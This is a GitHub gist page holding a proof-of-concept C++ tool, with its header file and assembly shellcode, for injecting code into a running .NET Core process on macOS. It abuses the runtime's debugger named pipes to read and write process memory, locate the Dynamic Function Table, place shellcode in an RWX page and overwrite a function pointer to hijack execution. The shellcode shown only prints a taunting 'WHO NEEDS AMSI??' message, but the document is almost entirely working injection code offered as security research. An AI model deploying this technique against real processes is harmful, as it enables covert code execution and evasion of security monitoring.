Skip to content

Instantly share code, notes, and snippets.

@EgeBalci
Forked from xpn/dotnet_inject.cpp
Created May 9, 2022 08:44
Show Gist options
  • Save EgeBalci/5291c6c93021c25de4c059635fdc4eb1 to your computer and use it in GitHub Desktop.
Save EgeBalci/5291c6c93021c25de4c059635fdc4eb1 to your computer and use it in GitHub Desktop.
// Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include "main.h"
// libcorclr.dll signature for finding hlpDynamicFuncTable
unsigned char signature[] = "\x66\x48\x0F\x6E\xC0\x66\x0F\x70\xC0\x44\xEB\x1E\x4C\x8B\x6D\xD0";
// Print some troll message to console
unsigned char shellcode[] = {
0x80, 0x3d, 0x6b, 0x00, 0x00, 0x00, 0x01, 0x74, 0x2d, 0x50, 0x53, 0x51,
0x52, 0x55, 0x56, 0x57, 0xb8, 0x04, 0x00, 0x00, 0x02, 0xbf, 0x01, 0x00,
0x00, 0x00, 0x48, 0x8d, 0x35, 0x21, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00,
0x00, 0x00, 0x0f, 0x05, 0x5f, 0x5e, 0x5d, 0x5a, 0x59, 0x5b, 0x58, 0xc6,
0x05, 0x3c, 0x00, 0x00, 0x00, 0x01, 0x48, 0xb8, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0xff, 0xe0, 0x0a, 0x0a, 0x57, 0x48, 0x4f, 0x20,
0x4e, 0x45, 0x45, 0x44, 0x53, 0x20, 0x41, 0x4d, 0x53, 0x49, 0x3f, 0x3f,
0x20, 0x3b, 0x29, 0x20, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x20, 0x74, 0x65, 0x73, 0x74, 0x20, 0x62, 0x79, 0x20, 0x40, 0x5f,
0x78, 0x70, 0x6e, 0x5f, 0x0a, 0x0a, 0x00
};
// Headers which we will need to use throughout our session
MessageHeader sSendHeader;
MessageHeader sReceiveHeader;
// Our pipe handles
int wr, rd;
/// Read process memory from our target
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
// Set up the message header
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_ReadMemory;
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
/// Write to our target process memory
bool writeMemory(void *addr, int len, unsigned char *input) {
// Set up the message header
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_WriteMemory;
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
/// Create a new debugger session
bool createSession(void) {
SessionRequestData sDataBlock;
// Set up our session request header
sSendHeader.m_eType = MT_SessionRequest;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
// Set a random value for the UUID
for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) {
*((char *)&sDataBlock.m_sSessionID + i) = (char)rand();
}
// Send our header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Send our UUID
if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) {
return false;
}
// Read the response
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
return true;
}
/// Returns the DCB from the target
bool getDCB(struct DebuggerIPCControlBlockTransport *dcb) {
// Set up our header
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_GetDCB;
sSendHeader.m_cbDataBlock = 0;
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
if (read(rd, dcb, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
/// Hunts through memory searching for the provided signature
int findMemorySignature(void *base, unsigned char *signature, int len) {
unsigned char *output;
int offset = 0xc1000; //0;
while(true) {
if (readMemory((char *)base + offset, len, &output) == false) {
// If we hit a memory access violation, we probably went too far
return -1;
}
if (memcmp(output, signature, len) == 0) {
return offset;
}
free(output);
offset++;
}
return -1;
}
/// Runs vmmap and finds a RWX page of memory (god damn Apple.. look what you make us do!)
unsigned long long runVMMAP(const char *processName) {
int link[2];
pid_t pid;
char *output;
int nbytes = 1, r = 0;
char *needle;
output = (char *)malloc(0x10000);
if (pipe(link)==-1)
exit(2);
if ((pid = fork()) == -1)
exit(2);
if(pid == 0) {
dup2 (link[1], STDOUT_FILENO);
close(link[0]);
close(link[1]);
execl("/usr/bin/vmmap", "vmmap", processName, (char *)0);
exit(2);
}
close(link[1]);
while(nbytes != 0) {
nbytes = read(link[0], output + r, 0x10000);
if (nbytes == 0x10000) {
break;
}
r += nbytes;
}
wait(NULL);
// Search for our RWX memory region
if ((needle = strstr(output, "rwx/rwx")) == NULL) {
return 0;
}
// Now we need to search backwards for the start of the line (GOD DAMN APPLE!!)
while(*needle != '\n') {
needle--;
}
// Now we find and extract the address at the end of the region
while(*needle != '-') {
needle++;
}
needle++;
// Now NULL terminate the address
*(needle + 0x10) = '\0';
return strtoull(needle, NULL, 16);
}
int main(int argc, char **argv) {
struct DebuggerIPCControlBlockTransport dcb;
unsigned char *output;
unsigned char *dft;
int offset;
int dftOffset;
unsigned long long rwxPageAddr;
printf("Dotnet Core Debugger Injection POC by @_xpn_\n\n");
if (argc != 4) {
printf("Usage: %s in-pipe out-pipe process-name\n", argv[0]);
printf("Example: %s \"$TMPDIR/clr-debug-pipe-73013-1600035359-in\" \"$TMRDIR/clr-debug-pipe-73013-1600035359-out\" pwsh\n", argv[0]);
return 10;
}
wr = open(argv[1], O_WRONLY);
rd = open(argv[2], O_RDONLY);
if (rd < 0 || wr < 0) {
printf("[x] Could not open provided named pipes\n");
return 1;
}
// Create debugger session
printf("[*] Creating a session with the target\n");
if (!createSession()) {
printf("[x] Error: Could not create debugger session\n");
return 1;
}
// Retrieve the DCB
printf("[*] Retrieving a copy of the target DCB\n");
if (!getDCB(&dcb)) {
printf("[x] Error: Could not request DCB\n");
return 2;
}
// Search for DFT signature in memory
printf("[*] Base address of m_helperRemoteStartAddr: %p\n[*] Hunting for signature in target memory\n", dcb.m_helperRemoteStartAddr);
if ((offset = findMemorySignature(dcb.m_helperRemoteStartAddr, signature, 16)) == -1) {
printf("[x] Error: Could not find memory signature\n");
return 3;
}
// Read the offset to the address table
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x17, 4, &output)) {
printf("[x] Error: Could not read Dynamic Function Table from target\n");
return 4;
}
dftOffset = *(int *)(output) + 0x7;
printf("[*] Dynamic Function Table found at %p\n", (char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset);
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset, 0x200, (unsigned char **)&dft)) {
printf("[x] Error: Could not read Dynamic Function Table\n");
return 4;
}
printf("[*] Dynamic Function Table read\n");
// Update our shellcode to return into the original DFT function address
*(unsigned long long *)(shellcode + 56) = *(unsigned long long *)((char *)dft + 0x50);
rwxPageAddr = runVMMAP(argv[3]);
rwxPageAddr -= sizeof(shellcode);
printf("[*] Found RWX page of memory, writing our shellcode to %p\n", rwxPageAddr);
if (writeMemory((void*)rwxPageAddr, sizeof(shellcode), (unsigned char *)shellcode) == false) {
printf("[x] Error: Could not write our shellcode to RWX memory\n");
return 4;
}
printf("[*] Overwriting the Dynamic Function Table entry... injection complete\n");
if (!writeMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset + 0x50, 0x8, (unsigned char *)&rwxPageAddr)) {
printf("[x] Error: Could not write to the function table\n");
return 5;
}
}
typedef unsigned int DWORD;
typedef unsigned char BYTE;
typedef unsigned char * PBYTE;
typedef DWORD HRESULT;
typedef unsigned short USHORT;
typedef unsigned int ULONG;
typedef unsigned char UCHAR;
typedef bool BOOL;
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
#define CorDBIPC_BUFFER_SIZE 4016
#define MSLAYOUT __attribute__((__ms_struct__))
enum IPCEventType
{
IPCET_OldStyle,
IPCET_DebugEvent,
IPCET_Max,
};
typedef struct _GUID {
ULONG Data1; // NOTE: diff from Win32, for LP64
USHORT Data2;
USHORT Data3;
UCHAR Data4[ 8 ];
} GUID;
enum MessageType
{
// Session management operations. These must come first and MT_SessionClose must be last in the group.
MT_SessionRequest, // RS -> LS : Request a new session be formed (optionally pass encrypted data key)
MT_SessionAccept, // LS -> RS : Accept new session
MT_SessionReject, // LS -> RS : Reject new session, give reason
MT_SessionResync, // RS <-> LS : Resync broken connection by informing other side which messages must be resent
MT_SessionClose, // RS -> LS : Gracefully terminate a session
// Debugger events.
MT_Event, // RS <-> LS : A debugger event is being sent as the data block of the message
// Misc management operations.
MT_ReadMemory, // RS <-> LS : RS wants to read LS memory block (or LS is replying to such a request)
MT_WriteMemory, // RS <-> LS : RS wants to write LS memory block (or LS is replying to such a request)
MT_VirtualUnwind, // RS <-> LS : RS wants to LS unwind a stack frame (or LS is replying to such a request)
MT_GetDCB, // RS <-> LS : RS wants to read LS DCB (or LS is replying to such a request)
MT_SetDCB, // RS <-> LS : RS wants to write LS DCB (or LS is replying to such a request)
MT_GetAppDomainCB, // RS <-> LS : RS wants to read LS AppDomainCB (or LS is replying to such a request)
};
enum RejectReason
{
RR_IncompatibleVersion, // LS doesn't support the major version asked for in the request.
RR_AlreadyAttached, // LS already has another session open (LS only supports one session at a time)
};
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
// The rest of the header varies depending on the message type (keep the maximum size of this union
// small since all messages will pay the overhead, large message type specific data should go in the
// following data block).
union
{
// Used by MT_SessionRequest / MT_SessionAccept.
struct
{
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
// Used by MT_SessionReject.
struct
{
RejectReason m_eReason; // Reason for rejection.
DWORD m_dwMajorVersion; // Highest protocol version the LS supports
DWORD m_dwMinorVersion;
} SessionReject;
// Used by MT_ReadMemory and MT_WriteMemory.
struct
{
PBYTE m_pbLeftSideBuffer; // Address of memory to read/write on the LS
DWORD m_cbLeftSideBuffer; // Size in bytes of memory to read/write
HRESULT m_hrResult; // Result from LS (access can fail due to unmapped memory etc.)
} MemoryAccess;
// Used by MT_Event.
struct
{
IPCEventType m_eIPCEventType; // multiplexing type of this IPC event
DWORD m_eType; // Event type (useful for debugging)
} Event;
} TypeSpecificData;
BYTE m_sMustBeZero[8]; // Set this to zero when initializing and never read the contents
};
struct SessionRequestData
{
GUID m_sSessionID; // Unique session ID. Treated as byte blob so no endian-ness
};
typedef unsigned int SIZE_T;
typedef unsigned int RemoteHANDLE;
struct MSLAYOUT DebuggerIPCRuntimeOffsets
{
#ifdef FEATURE_INTEROP_DEBUGGING
void *m_genericHijackFuncAddr;
void *m_signalHijackStartedBPAddr;
void *m_excepForRuntimeHandoffStartBPAddr;
void *m_excepForRuntimeHandoffCompleteBPAddr;
void *m_signalHijackCompleteBPAddr;
void *m_excepNotForRuntimeBPAddr;
void *m_notifyRSOfSyncCompleteBPAddr;
void *m_raiseExceptionAddr; // The address of kernel32!RaiseException in the debuggee
DWORD m_debuggerWordTLSIndex; // The TLS slot for the debugger word used in the debugger hijack functions
#endif // FEATURE_INTEROP_DEBUGGING
SIZE_T m_TLSIndex; // The TLS index of the thread-local storage for coreclr.dll
SIZE_T m_TLSEEThreadOffset; // TLS Offset of the Thread pointer.
SIZE_T m_TLSIsSpecialOffset; // TLS Offset of the "IsSpecial" status for a thread.
SIZE_T m_TLSCantStopOffset; // TLS Offset of the Can't-Stop count.
SIZE_T m_EEThreadStateOffset; // Offset of m_state in a Thread
SIZE_T m_EEThreadStateNCOffset; // Offset of m_stateNC in a Thread
SIZE_T m_EEThreadPGCDisabledOffset; // Offset of the bit for whether PGC is disabled or not in a Thread
DWORD m_EEThreadPGCDisabledValue; // Value at m_EEThreadPGCDisabledOffset that equals "PGC disabled".
SIZE_T m_EEThreadFrameOffset; // Offset of the Frame ptr in a Thread
SIZE_T m_EEThreadMaxNeededSize; // Max memory to read to get what we need out of a Thread object
DWORD m_EEThreadSteppingStateMask; // Mask for Thread::TSNC_DebuggerIsStepping
DWORD m_EEMaxFrameValue; // The max Frame value
SIZE_T m_EEThreadDebuggerFilterContextOffset; // Offset of debugger's filter context within a Thread Object.
SIZE_T m_EEFrameNextOffset; // Offset of the next ptr in a Frame
DWORD m_EEIsManagedExceptionStateMask; // Mask for Thread::TSNC_DebuggerIsManagedException
void *m_pPatches; // Addr of patch table
BOOL *m_pPatchTableValid; // Addr of g_patchTableValid
SIZE_T m_offRgData; // Offset of m_pcEntries
SIZE_T m_offCData; // Offset of count of m_pcEntries
SIZE_T m_cbPatch; // Size per patch entry
SIZE_T m_offAddr; // Offset within patch of target addr
SIZE_T m_offOpcode; // Offset within patch of target opcode
SIZE_T m_cbOpcode; // Max size of opcode
SIZE_T m_offTraceType; // Offset of the trace.type within a patch
DWORD m_traceTypeUnmanaged; // TRACE_UNMANAGED
};
// DCB
struct MSLAYOUT DebuggerIPCControlBlock
{
// Version data should be first in the control block to ensure that we can read it even if the control block
// changes.
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
ULONG m_verMajor; // CLR build number for the Left Side.
ULONG m_verMinor; // CLR build number for the Left Side.
// This next stuff fits in a DWORD.
bool m_checkedBuild; // CLR build type for the Left Side.
// using the first padding byte to indicate if hosted in fiber mode.
// We actually just need one bit. So if needed, can turn this to a bit.
// BYTE padding1;
bool m_bHostingInFiber;
BYTE padding2;
BYTE padding3;
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.
HRESULT m_errorHR;
unsigned int m_errorCode;
// 64-bit needs this padding to make the handles after this aligned.
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
ULONG padding4;
RemoteHANDLE m_rightSideEventAvailable;
RemoteHANDLE m_rightSideEventRead;
// @dbgtodo inspection - this is where LSEA and LSER used to be. We need to the padding to maintain binary compatibility.
// Eventually, we expect to remove this whole block.
RemoteHANDLE m_paddingObsoleteLSEA;
RemoteHANDLE m_paddingObsoleteLSER;
RemoteHANDLE m_rightSideProcessHandle;
//.............................................................................
// Everything above this point must have the exact same binary layout as v1.1.
// See protocol details below.
//.............................................................................
RemoteHANDLE m_leftSideUnmanagedWaitEvent;
// This is set immediately when the helper thread is created.
// This will be set even if there's a temporary helper thread or if the real helper
// thread is not yet pumping (eg, blocked on a loader lock).
DWORD m_realHelperThreadId;
// This is only published once the helper thread starts running in its main loop.
// Thus we can use this field to see if the real helper thread is actually pumping.
DWORD m_helperThreadId;
// This is non-zero if the LS has a temporary helper thread.
DWORD m_temporaryHelperThreadId;
// ID of the Helper's canary thread.
DWORD m_CanaryThreadId;
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
void *m_helperThreadStartAddr;
void *m_helperRemoteStartAddr;
DWORD *m_specialThreadList;
BYTE m_receiveBuffer[CorDBIPC_BUFFER_SIZE];
BYTE m_sendBuffer[CorDBIPC_BUFFER_SIZE];
DWORD m_specialThreadListLength;
bool m_shutdownBegun;
bool m_rightSideIsWin32Debugger; // RS status
bool m_specialThreadListDirty;
bool m_rightSideShouldCreateHelperThread;
};
struct MSLAYOUT DebuggerIPCControlBlockTransport
{
// Version data should be first in the control block to ensure that we can read it even if the control block
// changes.
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
ULONG m_verMajor; // CLR build number for the Left Side.
ULONG m_verMinor; // CLR build number for the Left Side.
// This next stuff fits in a DWORD.
bool m_checkedBuild; // CLR build type for the Left Side.
// using the first padding byte to indicate if hosted in fiber mode.
// We actually just need one bit. So if needed, can turn this to a bit.
// BYTE padding1;
bool m_bHostingInFiber;
BYTE padding2;
BYTE padding3;
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.
HRESULT m_errorHR;
unsigned int m_errorCode;
// 64-bit needs this padding to make the handles after this aligned.
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
ULONG padding4;
// This is set immediately when the helper thread is created.
// This will be set even if there's a temporary helper thread or if the real helper
// thread is not yet pumping (eg, blocked on a loader lock).
DWORD m_realHelperThreadId;
// This is only published once the helper thread starts running in its main loop.
// Thus we can use this field to see if the real helper thread is actually pumping.
DWORD m_helperThreadId;
// This is non-zero if the LS has a temporary helper thread.
DWORD m_temporaryHelperThreadId;
// ID of the Helper's canary thread.
DWORD m_CanaryThreadId;
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
void *m_helperThreadStartAddr;
void *m_helperRemoteStartAddr;
DWORD *m_specialThreadList;
DWORD m_specialThreadListLength;
bool m_shutdownBegun;
bool m_rightSideIsWin32Debugger; // RS status
bool m_specialThreadListDirty;
bool m_rightSideShouldCreateHelperThread;
};
[BITS 64]
; Compile with "nasm shellcode.asm -o shellcode.bin -fbin"
; Convert to C with "xxd -i ./shellcode.bin"
global _main
section .text
_main:
_start:
cmp byte [rel already_run], 1
je skip
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
mov rax, 0x2000004
mov rdi, 1
lea rsi, [rel msg]
mov rdx, msg.len
syscall
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
mov byte [rel already_run], 1
skip:
mov rax, 0x4141414141414141
jmp rax
msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa
.len: equ $ - msg
already_run: db 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment